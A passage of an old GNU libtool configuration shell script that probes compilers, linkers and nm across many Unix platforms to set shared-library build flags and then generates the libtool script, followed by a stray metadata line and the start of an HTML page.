aix3* | aix4* | irix5* | irix6* | osf3* | osf4*)
# PIC is the default for these OSes.
;;
os2*)
# We can build DLLs from non-PIC.
;;
amigaos*)
# FIXME: we need at least 68020 code to build shared libraries, but
# adding the `-m68020' flag to GCC prevents building anything better,
# like `-m68040'.
pic_flag='-m68020 -resident32 -malways-restore-a4'
;;
*)
pic_flag='-fPIC'
;;
esac
else
# PORTME Check for PIC flags for the system compiler.
case "$host_os" in
aix3* | aix4*)
# All AIX code is PIC.
link_static_flag='-bnso -bI:/lib/syscalls.exp'
;;
hpux9* | hpux10*)
# Is there a better link_static_flag that works with the bundled CC?
wl='-Wl,'
link_static_flag="${wl}-a ${wl}archive"
pic_flag='+Z'
;;
irix5* | irix6*)
wl='-Wl,'
link_static_flag='-non_shared'
# PIC (with -KPIC) is the default.
;;
os2*)
# We can build DLLs from non-PIC.
;;
osf3* | osf4*)
# All OSF/1 code is PIC.
wl='-Wl,'
link_static_flag='-non_shared'
;;
sco3.2v5*)
pic_flag='-Kpic'
link_static_flag='-dn'
special_shlib_compile_flags='-belf'
;;
solaris2*)
pic_flag='-KPIC'
link_static_flag='-Bstatic'
wl='-Wl,'
;;
sunos4*)
pic_flag='-PIC'
link_static_flag='-Bstatic'
wl='-Qoption ld '
;;
sysv4.2uw2*)
pic_flag='-KPIC'
link_static_flag='-Bstatic'
wl='-Wl,'
;;
uts4*)
pic_flag='-pic'
link_static_flag='-Bstatic'
;;
*)
can_build_shared=no
;;
esac
fi
if test -n "$pic_flag"; then
echo "$ac_t$pic_flag" 1>&6
# Check to make sure the pic_flag actually works.
echo $ac_n "checking if $compiler PIC flag $pic_flag works... $ac_c" 1>&6
$rm conftest*
echo > conftest.c
save_CFLAGS="$CFLAGS"
CFLAGS="$CFLAGS $pic_flag -DPIC"
echo "$progname:547: checking if $compiler PIC flag $pic_flag works" >&5
if { (eval echo $progname:548: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>conftest.err; } && test -s conftest.o; then
# Append any warnings to the config.log.
cat conftest.err 1>&5
# On HP-UX, both CC and GCC only warn that PIC is supported... then they
# create non-PIC objects. So, if there were any warnings, we assume that
# PIC is not supported.
if test -s conftest.err; then
echo "$ac_t"no 1>&6
can_build_shared=no
pic_flag=
else
echo "$ac_t"yes 1>&6
pic_flag=" $pic_flag"
fi
else
# Append any errors to the config.log.
cat conftest.err 1>&5
can_build_shared=no
pic_flag=
echo "$ac_t"no 1>&6
fi
CFLAGS="$save_CFLAGS"
$rm conftest*
else
echo "$ac_t"none 1>&6
fi
# Check for any special shared library compilation flags.
if test -n "$special_shlib_compile_flags"; then
echo "$progname: warning: \`$CC' requires \`$special_shlib_compile_flags' to build shared libraries" 1>&2
if echo "$old_CC $old_CFLAGS " | egrep -e "[ ]$special_shlib_compile_flags[ ]" >/dev/null; then :
else
echo "$progname: add \`$special_shlib_compile_flags' to the CC or CFLAGS env variable and reconfigure" 1>&2
can_build_shared=no
fi
fi
echo $ac_n "checking if $compiler static flag $link_static_flag works... $ac_c" 1>&6
$rm conftest*
echo 'main(){return(0);}' > conftest.c
save_LDFLAGS="$LDFLAGS"
LDFLAGS="$LDFLAGS $link_static_flag"
echo "$progname:591: checking if $compiler static flag $link_static_flag works" >&5
if { (eval echo $progname:592: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then
echo "$ac_t$link_static_flag" 1>&6
else
echo "$ac_t"none 1>&6
link_static_flag=
fi
LDFLAGS="$save_LDFLAGS"
$rm conftest*
if test -z "$LN_S"; then
# Check to see if we can use ln -s, or we need hard links.
echo $ac_n "checking whether ln -s works... $ac_c" 1>&6
$rm conftestdata
if ln -s X conftestdata 2>/dev/null; then
$rm conftestdata
LN_S="ln -s"
else
LN_S=ln
fi
if test "$LN_S" = "ln -s"; then
echo "$ac_t"yes 1>&6
else
echo "$ac_t"no 1>&6
fi
fi
# Make sure LD is an absolute path.
if test -z "$LD"; then
ac_prog=ld
if test "$with_gcc" = yes; then
# Check if gcc -print-prog-name=ld gives a path.
echo $ac_n "checking for ld used by GCC... $ac_c" 1>&6
echo "$progname:624: checking for ld used by GCC" >&5
ac_prog=`($CC -print-prog-name=ld) 2>&5`
case "$ac_prog" in
# Accept absolute paths.
/* | [A-Za-z]:\\*)
test -z "$LD" && LD="$ac_prog"
;;
"")
# If it fails, then pretend we are not using GCC.
ac_prog=ld
;;
*)
# If it is relative, then search for the first ld in PATH.
with_gnu_ld=unknown
;;
esac
elif test "$with_gnu_ld" = yes; then
echo $ac_n "checking for GNU ld... $ac_c" 1>&6
echo "$progname:642: checking for GNU ld" >&5
else
echo $ac_n "checking for non-GNU ld""... $ac_c" 1>&6
echo "$progname:645: checking for non-GNU ld" >&5
fi
if test -z "$LD"; then
IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
for ac_dir in $PATH; do
test -z "$ac_dir" && ac_dir=.
if test -f "$ac_dir/$ac_prog"; then
LD="$ac_dir/$ac_prog"
# Check to see if the program is GNU ld. I'd rather use --version,
# but apparently some GNU ld's only accept -v.
# Break only if it was the GNU/non-GNU ld that we prefer.
if "$LD" -v 2>&1 < /dev/null | egrep '(GNU|with BFD)' > /dev/null; then
test "$with_gnu_ld" != no && break
else
test "$with_gnu_ld" != yes && break
fi
fi
done
IFS="$ac_save_ifs"
fi
if test -n "$LD"; then
echo "$ac_t$LD" 1>&6
else
echo "$ac_t"no 1>&6
fi
if test -z "$LD"; then
echo "$progname: error: no acceptable ld found in \$PATH" 1>&2
exit 1
fi
fi
# Check to see if it really is or is not GNU ld.
echo $ac_n "checking if the linker ($LD) is GNU ld... $ac_c" 1>&6
# I'd rather use --version here, but apparently some GNU ld's only accept -v.
if $LD -v 2>&1 </dev/null | egrep '(GNU|with BFD)' 1>&5; then
with_gnu_ld=yes
else
with_gnu_ld=no
fi
echo "$ac_t$with_gnu_ld" 1>&6
# See if the linker supports building shared libraries.
echo $ac_n "checking whether the linker ($LD) supports shared libraries... $ac_c" 1>&6
allow_undefined_flag=
no_undefined_flag=
archive_cmds=
old_archive_from_new_cmds=
export_dynamic_flag_spec=
hardcode_libdir_flag_spec=
hardcode_libdir_separator=
hardcode_direct=no
hardcode_minus_L=no
hardcode_shlibpath_var=unsupported
runpath_var=
case "$host_os" in
amigaos* | sunos4*)
# On these operating systems, we should treat GNU ld like the system ld.
gnu_ld_acts_native=yes
;;
*)
gnu_ld_acts_native=no
;;
esac
ld_shlibs=yes
if test "$with_gnu_ld" = yes && test "$gnu_ld_acts_native" != yes; then
# See if GNU ld supports shared libraries.
if $LD --help 2>&1 | egrep ': supported targets:.* elf' > /dev/null; then
archive_cmds='$CC -shared ${wl}-soname $wl$soname -o $lib$libobjs'
runpath_var=LD_RUN_PATH
ld_shlibs=yes
else
ld_shlibs=no
fi
if test "$ld_shlibs" = yes; then
hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir'
export_dynamic_flag_spec='${wl}--export-dynamic'
fi
else
# PORTME fill in a description of your system's linker (not GNU ld)
case "$host_os" in
aix3*)
allow_undefined_flag=unsupported
archive_cmds='$NM$libobjs | $global_symbol_pipe | sed '\''s/.* //'\'' > $lib.exp;$LD -o $objdir/$soname$libobjs -bE:$lib.exp -T512 -H512 -bM:SRE;$AR cru $lib $objdir/$soname'
# Note: this linker hardcodes the directories in LIBPATH if there
# are no directories specified by -L.
hardcode_minus_L=yes
if test "$with_gcc" = yes && test -z "$link_static_flag"; then
# Neither direct hardcoding nor static linking is supported with a
# broken collect2.
hardcode_direct=unsupported
fi
;;
aix4*)
allow_undefined_flag=unsupported
archive_cmds='$NM$libobjs | $global_symbol_pipe | sed '\''s/.* //'\'' > $lib.exp;$CC -o $objdir/$soname$libobjs ${wl}-bE:$lib.exp ${wl}-bM:SRE ${wl}-bnoentry;$AR cru $lib $objdir/$soname'
hardcode_direct=yes
hardcode_minus_L=yes
;;
amigaos*)
archive_cmds='$rm $objdir/a2ixlibrary.data;$echo "#define NAME $libname" > $objdir/a2ixlibrary.data;$echo "#define LIBRARY_ID 1" >> $objdir/a2ixlibrary.data;$echo "#define VERSION $major" >> $objdir/a2ixlibrary.data;$echo "#define REVISION $revision" >> $objdir/a2ixlibrary.data;$AR cru $lib$libobjs;$RANLIB $lib;(cd $objdir && a2ixlibrary -32)'
hardcode_libdir_flag_spec='-L$libdir'
hardcode_minus_L=yes
;;
# FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
# support. Future versions do this automatically, but an explicit c++rt0.o
# does not break anything, and helps significantly (at the cost of a little
# extra space).
freebsd2.2*)
archive_cmds='$LD -Bshareable -o $lib$libobjs /usr/lib/c++rt0.o'
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_minus_L=yes
hardcode_shlibpath_var=no
;;
# Unfortunately, older versions of FreeBSD 2 do not have this feature.
freebsd2*)
archive_cmds='$LD -Bshareable -o $lib$libobjs'
hardcode_direct=yes
hardcode_minus_L=yes
hardcode_shlibpath_var=no
;;
# FreeBSD 3, at last, uses gcc -shared to do shared libraries.
freebsd3*)
archive_cmds='$CC -shared -o $lib$libobjs'
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_minus_L=yes
hardcode_shlibpath_var=no
;;
hpux9*)
archive_cmds='$rm $objdir/$soname;$LD -b +s +b $install_libdir -o $objdir/$soname$libobjs;mv $objdir/$soname $lib'
hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
hardcode_direct=yes
hardcode_minus_L=yes
export_dynamic_flag_spec='${wl}-E'
;;
hpux10*)
archive_cmds='$LD -b +h $soname +s +b $install_libdir -o $lib$libobjs'
hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
hardcode_direct=yes
hardcode_minus_L=yes
export_dynamic_flag_spec='${wl}-E'
;;
irix5* | irix6*)
archive_cmds='$LD -shared -o $lib -soname $soname -set_version $verstring$libobjs'
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
;;
netbsd*)
# Tested with NetBSD 1.2 ld
archive_cmds='$LD -Bshareable -o $lib$libobjs'
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
;;
openbsd*)
archive_cmds='$LD -Bshareable -o $lib$libobjs'
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
;;
os2*)
hardcode_libdir_flag_spec='-L$libdir'
hardcode_minus_L=yes
allow_undefined_flag=unsupported
archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $objdir/$libname.def;$echo "DESCRIPTION \"$libname\"" >> $objdir/$libname.def;$echo DATA >> $objdir/$libname.def;$echo " SINGLE NONSHARED" >> $objdir/$libname.def;$echo EXPORTS >> $objdir/$libname.def;emxexp$libobjs >> $objdir/$libname.def;$CC -Zdll -Zcrtdll -o $lib$libobjs $objdir/$libname.def'
old_archive_from_new_cmds='emximp -o $objdir/$libname.a $objdir/$libname.def'
;;
osf3* | osf4*)
allow_undefined_flag=' -expect_unresolved \*'
archive_cmds='$LD -shared${allow_undefined_flag} -o $lib -soname $soname -set_version $verstring$libobjs$deplibs'
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
hardcode_libdir_separator=:
;;
sco3.2v5*)
archive_cmds='$LD -G -o $lib$libobjs'
hardcode_direct=yes
;;
solaris2*)
no_undefined_flag=' -z text'
archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib$libobjs'
hardcode_libdir_flag_spec='-R$libdir'
hardcode_shlibpath_var=no
# Solaris 2 before 2.5 hardcodes -L paths.
case "$host_os" in
solaris2.[0-4]*)
hardcode_minus_L=yes
;;
esac
;;
sunos4*)
if test "$with_gcc" = yes; then
archive_cmds='$CC -shared -o $lib$libobjs'
else
archive_cmds='$LD -assert pure-text -Bstatic -o $lib$libobjs'
fi
if test "$with_gnu_ld" = yes; then
export_dynamic_flag_spec='${wl}-export-dynamic'
fi
hardcode_libdir_flag_spec='-L$libdir'
hardcode_direct=yes
hardcode_minus_L=yes
hardcode_shlibpath_var=no
;;
uts4*)
archive_cmds='$LD -G -h $soname -o $lib$libobjs'
hardcode_libdir_flag_spec='-L$libdir'
hardcode_direct=no
hardcode_minus_L=no
hardcode_shlibpath_var=no
;;
*)
ld_shlibs=no
can_build_shared=no
;;
esac
fi
echo "$ac_t$ld_shlibs" 1>&6
if test -z "$NM"; then
echo $ac_n "checking for BSD-compatible nm... $ac_c" 1>&6
case "$NM" in
/* | [A-Za-z]:\\*) ;; # Let the user override the test with a path.
*)
IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
for ac_dir in /usr/ucb /usr/ccs/bin $PATH /bin; do
test -z "$ac_dir" && ac_dir=.
if test -f $ac_dir/nm; then
# Check to see if the nm accepts a BSD-compat flag.
# Adding the `sed 1q' prevents false positives on HP-UX, which says:
# nm: unknown option "B" ignored
if ($ac_dir/nm -B /dev/null 2>&1 | sed '1q'; exit 0) | egrep /dev/null >/dev/null; then
NM="$ac_dir/nm -B"
elif ($ac_dir/nm -p /dev/null 2>&1 | sed '1q'; exit 0) | egrep /dev/null >/dev/null; then
NM="$ac_dir/nm -p"
else
NM="$ac_dir/nm"
fi
break
fi
done
IFS="$ac_save_ifs"
test -z "$NM" && NM=nm
;;
esac
echo "$ac_t$NM" 1>&6
fi
# Check for command to grab the raw symbol name followed by C symbol from nm.
echo $ac_n "checking command to parse $NM output... $ac_c" 1>&6
# These are sane defaults that work on at least a few old systems.
# [They come from Ultrix. What could be older than Ultrix?!! ;)]
# Character class describing NM global symbol codes.
symcode='[BCDEGRSTU]'
# Regexp to match symbols that can be accessed directly from C.
sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
# Transform the above into a raw symbol and a C symbol.
symxfrm='\1 \1'
# Define system-specific variables.
case "$host_os" in
aix*)
symcode='[BCDTU]'
;;
irix*)
# Cannot use undefined symbols on IRIX because inlined functions mess us up.
symcode='[BCDEGRST]'
;;
solaris2*)
symcode='[BDTU]'
;;
esac
# If we're using GNU nm, then use its standard symbol codes.
if $NM -V 2>&1 | egrep '(GNU|with BFD)' > /dev/null; then
symcode='[ABCDGISTUW]'
fi
# Write the raw and C identifiers.
global_symbol_pipe="sed -n -e 's/^.* $symcode $sympat$/$symxfrm/p'"
# Check to see that the pipe works correctly.
pipe_works=no
$rm conftest*
cat > conftest.c <<EOF
#ifdef __cplusplus
extern "C" {
#endif
char nm_test_var;
void nm_test_func(){}
#ifdef __cplusplus
}
#endif
main(){nm_test_var='a';nm_test_func();return(0);}
EOF
echo "$progname:971: checking if global_symbol_pipe works" >&5
if { (eval echo $progname:972: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; } && test -s conftest.o; then
# Now try to grab the symbols.
nlist=conftest.nm
if { echo "$progname:975: eval \"$NM conftest.o | $global_symbol_pipe > $nlist\"" >&5; eval "$NM conftest.o | $global_symbol_pipe > $nlist 2>&5"; } && test -s "$nlist"; then
# Try sorting and uniquifying the output.
if sort "$nlist" | uniq > "$nlist"T; then
mv -f "$nlist"T "$nlist"
wcout=`wc "$nlist" 2>/dev/null`
count=`$echo "X$wcout" | $Xsed -e 's/^[ ]*\([0-9][0-9]*\).*$/\1/'`
(test "$count" -ge 0) 2>/dev/null || count=-1
else
rm -f "$nlist"T
count=-1
fi
# Make sure that we snagged all the symbols we need.
if egrep ' nm_test_var$' "$nlist" >/dev/null; then
if egrep ' nm_test_func$' "$nlist" >/dev/null; then
cat <<EOF > conftest.c
#ifdef __cplusplus
extern "C" {
#endif
EOF
# Now generate the symbol file.
sed 's/^.* \(.*\)$/extern char \1;/' < "$nlist" >> conftest.c
cat <<EOF >> conftest.c
#if defined (__STDC__) && __STDC__
# define __ptr_t void *
#else
# define __ptr_t char *
#endif
/* The number of symbols in dld_preloaded_symbols, -1 if unsorted. */
int dld_preloaded_symbol_count = $count;
/* The mapping between symbol names and symbols. */
struct {
char *name;
__ptr_t address;
}
dld_preloaded_symbols[] =
{
EOF
sed 's/^\(.*\) \(.*\)$/ {"\1", (__ptr_t) \&\2},/' < "$nlist" >> conftest.c
cat <<\EOF >> conftest.c
{0, (__ptr_t) 0}
};
#ifdef __cplusplus
}
#endif
EOF
# Now try linking the two files.
mv conftest.o conftestm.o
save_LIBS="$LIBS"
save_CFLAGS="$CFLAGS"
LIBS='conftestm.o'
CFLAGS="$CFLAGS$no_builtin_flag"
if { (eval echo $progname:1033: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then
pipe_works=yes
else
echo "$progname: failed program was:" >&5
cat conftest.c >&5
fi
LIBS="$save_LIBS"
else
echo "cannot find nm_test_func in $nlist" >&5
fi
else
echo "cannot find nm_test_var in $nlist" >&5
fi
else
echo "cannot run $global_symbol_pipe" >&5
fi
else
echo "$progname: failed program was:" >&5
cat conftest.c >&5
fi
$rm conftest*
# Do not use the global_symbol_pipe unless it works.
echo "$ac_t$pipe_works" 1>&6
test "$pipe_works" = yes || global_symbol_pipe=
# Check hardcoding attributes.
echo $ac_n "checking how to hardcode library paths into programs... $ac_c" 1>&6
hardcode_action=
if test -n "$hardcode_libdir_flag_spec" || \
test -n "$runpath_var"; then
# We can hardcode non-existant directories.
if test "$hardcode_direct" != no && \
test "$hardcode_minus_L" != no && \
test "$hardcode_shlibpath_var" != no; then
# Linking always hardcodes the temporary library directory.
hardcode_action=relink
else
# We can link without hardcoding, and we can hardcode nonexisting dirs.
hardcode_action=immediate
fi
elif test "$hardcode_direct" != yes && \
test "$hardcode_minus_L" != yes && \
test "$hardcode_shlibpath_var" != yes; then
# We cannot hardcode anything.
hardcode_action=unsupported
else
# We can only hardcode existing directories.
hardcode_action=relink
fi
echo "$ac_t$hardcode_action" 1>&6
test "$hardcode_action" = unsupported && can_build_shared=no
reload_flag=
reload_cmds='$LD$reload_flag -o $output$reload_objs'
echo $ac_n "checking for $LD option to reload object files... $ac_c" 1>&6
# PORTME Some linker may need a different reload flag.
reload_flag='-r'
echo "$ac_t$reload_flag"
test -n "$reload_flag" && reload_flag=" $reload_flag"
# PORTME Fill in your ld.so characteristics
library_names_spec=
libname_spec='lib$name'
soname_spec=
postinstall_cmds=
postuninstall_cmds=
finish_cmds=
finish_eval=
shlibpath_var=
version_type=none
dynamic_linker="$host_os ld.so"
echo $ac_n "checking dynamic linker characteristics... $ac_c" 1>&6
case "$host_os" in
aix3* | aix4*)
version_type=linux
library_names_spec='${libname}${release}.so.$versuffix $libname.a'
shlibpath_var=LIBPATH
# AIX has no versioning support, so we append a major version to the name.
soname_spec='${libname}${release}.so.$major'
;;
amigaos*)
library_names_spec='$libname.ixlibrary $libname.a'
# Create ${libname}_ixlibrary.a entries in /sys/libs.
finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "(cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a)"; (cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a) || exit 1; done'
;;
freebsd2* | freebsd3*)
version_type=sunos
library_names_spec='${libname}${release}.so.$versuffix $libname.so'
finish_cmds='PATH="$PATH:/sbin" ldconfig -m $libdir'
shlibpath_var=LD_LIBRARY_PATH
;;
gnu*)
version_type=sunos
library_names_spec='${libname}${release}.so.$versuffix'
shlibpath_var=LD_LIBRARY_PATH
;;
hpux9* | hpux10*)
# Give a soname corresponding to the major version so that dld.sl refuses to
# link against other versions.
dynamic_linker="$host_os dld.sl"
version_type=sunos
shlibpath_var=SHLIB_PATH
library_names_spec='${libname}${release}.sl.$versuffix ${libname}${release}.sl.$major $libname.sl'
soname_spec='${libname}${release}.sl.$major'
# HP-UX runs *really* slowly unless shared libraries are mode 555.
postinstall_cmds='chmod 555 $lib'
;;
irix5* | irix6*)
version_type=osf
soname_spec='${libname}${release}.so'
library_names_spec='${libname}${release}.so.$versuffix $libname.so'
shlibpath_var=LD_LIBRARY_PATH
;;
# No shared lib support for Linux oldld, aout, or coff.
linux-gnuoldld* | linux-gnuaout* | linux-gnucoff*)
dynamic_linker=no
;;
# This must be Linux ELF.
linux-gnu*)
version_type=linux
library_names_spec='${libname}${release}.so.$versuffix ${libname}${release}.so.$major $libname.so'
soname_spec='${libname}${release}.so.$major'
finish_cmds='PATH="$PATH:/sbin" ldconfig -n $libdir'
shlibpath_var=LD_LIBRARY_PATH
if test -f /lib/ld.so.1; then
dynamic_linker='GNU ld.so'
else
# Only the GNU ld.so supports shared libraries on MkLinux.
case "$host_cpu" in
powerpc*) dynamic_linker=no ;;
*) dynamic_linker='Linux ld.so' ;;
esac
fi
;;
netbsd* | openbsd*)
version_type=sunos
library_names_spec='${libname}${release}.so.$versuffix'
finish_cmds='PATH="$PATH:/sbin" ldconfig -m $libdir'
shlibpath_var=LD_LIBRARY_PATH
;;
os2*)
libname_spec='$name'
library_names_spec='$libname.dll $libname.a'
dynamic_linker='OS/2 ld.exe'
shlibpath_var=LIBPATH
;;
osf3* | osf4*)
version_type=osf
soname_spec='${libname}${release}.so'
library_names_spec='${libname}${release}.so.$versuffix $libname.so'
shlibpath_var=LD_LIBRARY_PATH
;;
sco3.2v5*)
version_type=osf
soname_spec='${libname}${release}.so.$major'
library_names_spec='${libname}${release}.so.$versuffix ${libname}${release}.so.$major $libname.so'
shlibpath_var=LD_LIBRARY_PATH
;;
solaris2*)
version_type=linux
library_names_spec='${libname}${release}.so.$versuffix ${libname}${release}.so.$major $libname.so'
soname_spec='${libname}${release}.so.$major'
shlibpath_var=LD_LIBRARY_PATH
;;
sunos4*)
version_type=sunos
library_names_spec='${libname}${release}.so.$versuffix'
finish_cmds='PATH="$PATH:/usr/etc" ldconfig $libdir'
shlibpath_var=LD_LIBRARY_PATH
;;
sysv4.2uw2*)
version_type=linux
library_names_spec='${libname}${release}.so.$versuffix ${libname}${release}.so.$major $libname.so'
soname_spec='${libname}${release}.so.$major'
shlibpath_var=LD_LIBRARY_PATH
;;
uts4*)
version_type=linux
library_names_spec='${libname}${release}.so.$versuffix ${libname}${release}.so.$major $libname.so'
soname_spec='${libname}${release}.so.$major'
shlibpath_var=LD_LIBRARY_PATH
;;
*)
dynamic_linker=no
;;
esac
echo "$ac_t$dynamic_linker"
test "$dynamic_linker" = no && can_build_shared=no
# Report the final consequences.
echo "checking if libtool supports shared libraries... $can_build_shared" 1>&6
echo $ac_n "checking whether to build shared libraries... $ac_c" 1>&6
test "$can_build_shared" = "no" && enable_shared=no
# On AIX, shared libraries and static libraries use the same namespace, and
# are all built from PIC.
case "$host_os" in
aix*)
test "$enable_shared" = yes && enable_static=no
if test -n "$RANLIB"; then
archive_cmds="$archive_cmds;\$RANLIB \$lib"
postinstall_cmds='$RANLIB $lib'
fi
;;
esac
echo "$ac_t$enable_shared" 1>&6
# Make sure either enable_shared or enable_static is yes.
test "$enable_shared" = yes || enable_static=yes
echo "checking whether to build static libraries... $enable_static" 1>&6
echo $ac_n "checking for objdir... $ac_c" 1>&6
rm -f .libs 2>/dev/null
mkdir .libs 2>/dev/null
if test -d .libs; then
objdir=.libs
else
# MS-DOS does not allow filenames that begin with a dot.
objdir=_libs
fi
rmdir .libs 2>/dev/null
echo "$ac_t$objdir" 1>&6
# Copy echo and quote the copy, instead of the original, because it is
# used later.
ltecho="$echo"
# Now quote all the things that may contain metacharacters.
for var in ltecho old_CC old_CFLAGS old_CPPFLAGS old_LD old_NM old_RANLIB \
old_LN_S AR CC LD LN_S NM reload_flag reload_cmds wl pic_flag \
link_static_flag no_builtin_flag export_dynamic_flag_spec \
libname_spec library_names_spec soname_spec RANLIB \
old_archive_cmds old_archive_from_new_cmds old_postinstall_cmds \
old_postuninstall_cmds archive_cmds postinstall_cmds postuninstall_cmds \
allow_undefined_flag no_undefined_flag \
finish_cmds finish_eval global_symbol_pipe \
hardcode_libdir_flag_spec hardcode_libdir_separator; do
case "$var" in
reload_cmds | old_archive_cmds | old_archive_from_new_cmds | \
old_postinstall_cmds | old_postuninstall_cmds | archive_cmds | \
postinstall_cmds | postuninstall_cmds | finish_cmds)
# Double-quote double-evaled strings.
eval "$var=\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\"\`"
;;
*)
eval "$var=\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`"
;;
esac
done
ofile=libtool
trap "$rm $ofile; exit 1" 1 2 15
echo creating $ofile
$rm $ofile
cat <<EOF > $ofile
#! /bin/sh
# libtool - Provide generalized library-building support services.
# Generated automatically by $PROGRAM - GNU $PACKAGE $VERSION
# NOTE: Changes made to this file will be lost: look at ltconfig or ltmain.sh.
#
# Copyright (C) 1996-1998 Free Software Foundation, Inc.
# Gordon Matzigkeit <[email protected]>, 1996
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# This program was configured as follows,
# on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
#
# CC="$old_CC" CFLAGS="$old_CFLAGS" CPPFLAGS="$old_CPPFLAGS" \\
# LD="$old_LD" NM="$old_NM" RANLIB="$old_RANLIB" LN_S="$old_LN_S" \\
# $0$ltconfig_args
#
# Compiler and other test output produced by $progname, useful for
# debugging $progname, is in ./config.log if it exists.
# Sed that helps us avoid accidentally triggering echo(1) options like -n.
Xsed="sed -e s/^X//"
# The HP-UX ksh and POSIX shell print the target directory to stdout
# if CDPATH is set.
if test "\${CDPATH+set}" = set; then CDPATH=; export CDPATH; fi
# An echo program that does not interpret backslashes.
echo="$ltecho"
# The version of $progname that generated this script.
LTCONFIG_VERSION="$VERSION"
# Shell to use when invoking shell scripts.
SHELL=${CONFIG_SHELL-/bin/sh}
# Whether or not to build libtool libraries.
build_libtool_libs=$enable_shared
# Whether or not to build old-style libraries.
build_old_libs=$enable_static
# The host system.
host_alias="$host_alias"
host="$host"
# The archiver.
AR="$AR"
# The default C compiler.
CC="$CC"
# The linker used to build libraries.
LD="$LD"
# Whether we need hard or soft links.
LN_S="$LN_S"
# A BSD-compatible nm program.
NM="$NM"
# The name of the directory that contains temporary libtool files.
objdir="$objdir"
# How to create reloadable object files.
reload_flag="$reload_flag"
reload_cmds="$reload_cmds"
# How to pass a linker flag through the compiler.
wl="$wl"
# Additional compiler flags for building library objects.
pic_flag="$pic_flag"
# Compiler flag to prevent dynamic linking.
link_static_flag="$link_static_flag"
# Compiler flag to turn off builtin functions.
no_builtin_flag="$no_builtin_flag"
# Compiler flag to allow reflexive dlopens.
export_dynamic_flag_spec="$export_dynamic_flag_spec"
# Library versioning type.
version_type=$version_type
# Format of library name prefix.
libname_spec="$libname_spec"
# List of archive names. First name is the real one, the rest are links.
# The last name is the one that the linker finds with -lNAME.
library_names_spec="$library_names_spec"
# The coded name of the library, if different from the real name.
soname_spec="$soname_spec"
# Commands used to build and install an old-style archive.
RANLIB="$RANLIB"
old_archive_cmds="$old_archive_cmds"
old_postinstall_cmds="$old_postinstall_cmds"
old_postuninstall_cmds="$old_postuninstall_cmds"
# Create an old-style archive from a shared archive.
old_archive_from_new_cmds="$old_archive_from_new_cmds"
# Commands used to build and install a shared archive.
archive_cmds="$archive_cmds"
postinstall_cmds="$postinstall_cmds"
postuninstall_cmds="$postuninstall_cmds"
# Flag that allows shared libraries with undefined symbols to be built.
allow_undefined_flag="$allow_undefined_flag"
# Flag that forces no undefined symbols.
no_undefined_flag="$no_undefined_flag"
# Commands used to finish a libtool library installation in a directory.
finish_cmds="$finish_cmds"
# Same as above, but a single script fragment to be evaled but not shown.
finish_eval="$finish_eval"
# Take the output of nm and produce a listing of raw symbols and C names.
global_symbol_pipe="$global_symbol_pipe"
# This is the shared library runtime path variable.
runpath_var=$runpath_var
# This is the shared library path variable.
shlibpath_var=$shlibpath_var
# How to hardcode a shared library path into an executable.
hardcode_action=$hardcode_action
# Flag to hardcode \$libdir into a binary during linking.
# This must work even if \$libdir does not exist.
hardcode_libdir_flag_spec="$hardcode_libdir_flag_spec"
# Whether we need a single -rpath flag with a separated argument.
hardcode_libdir_separator="$hardcode_libdir_separator"
# Set to yes if using DIR/libNAME.so during linking hardcodes DIR into the
# resulting binary.
hardcode_direct=$hardcode_direct
# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
# resulting binary.
hardcode_minus_L=$hardcode_minus_L
# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
# the resulting binary.
hardcode_shlibpath_var=$hardcode_shlibpath_var
EOF
case "$host_os" in
aix3*)
cat <<\EOF >> $ofile
# AIX sometimes has problems with the GCC collect2 program. For some
# reason, if we set the COLLECT_NAMES environment variable, the problems
# vanish in a puff of smoke.
if test "${COLLECT_NAMES+set}" != set; then
COLLECT_NAMES=
export COLLECT_NAMES
fi
EOF
;;
esac
# Append the ltmain.sh script.
cat "$ltmain" >> $ofile || (rm -f $ofile; exit 1)
chmod +x $ofile
exit 0
# Local Variables:
# mode:shell-script
# sh-indentation:2
# End:
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
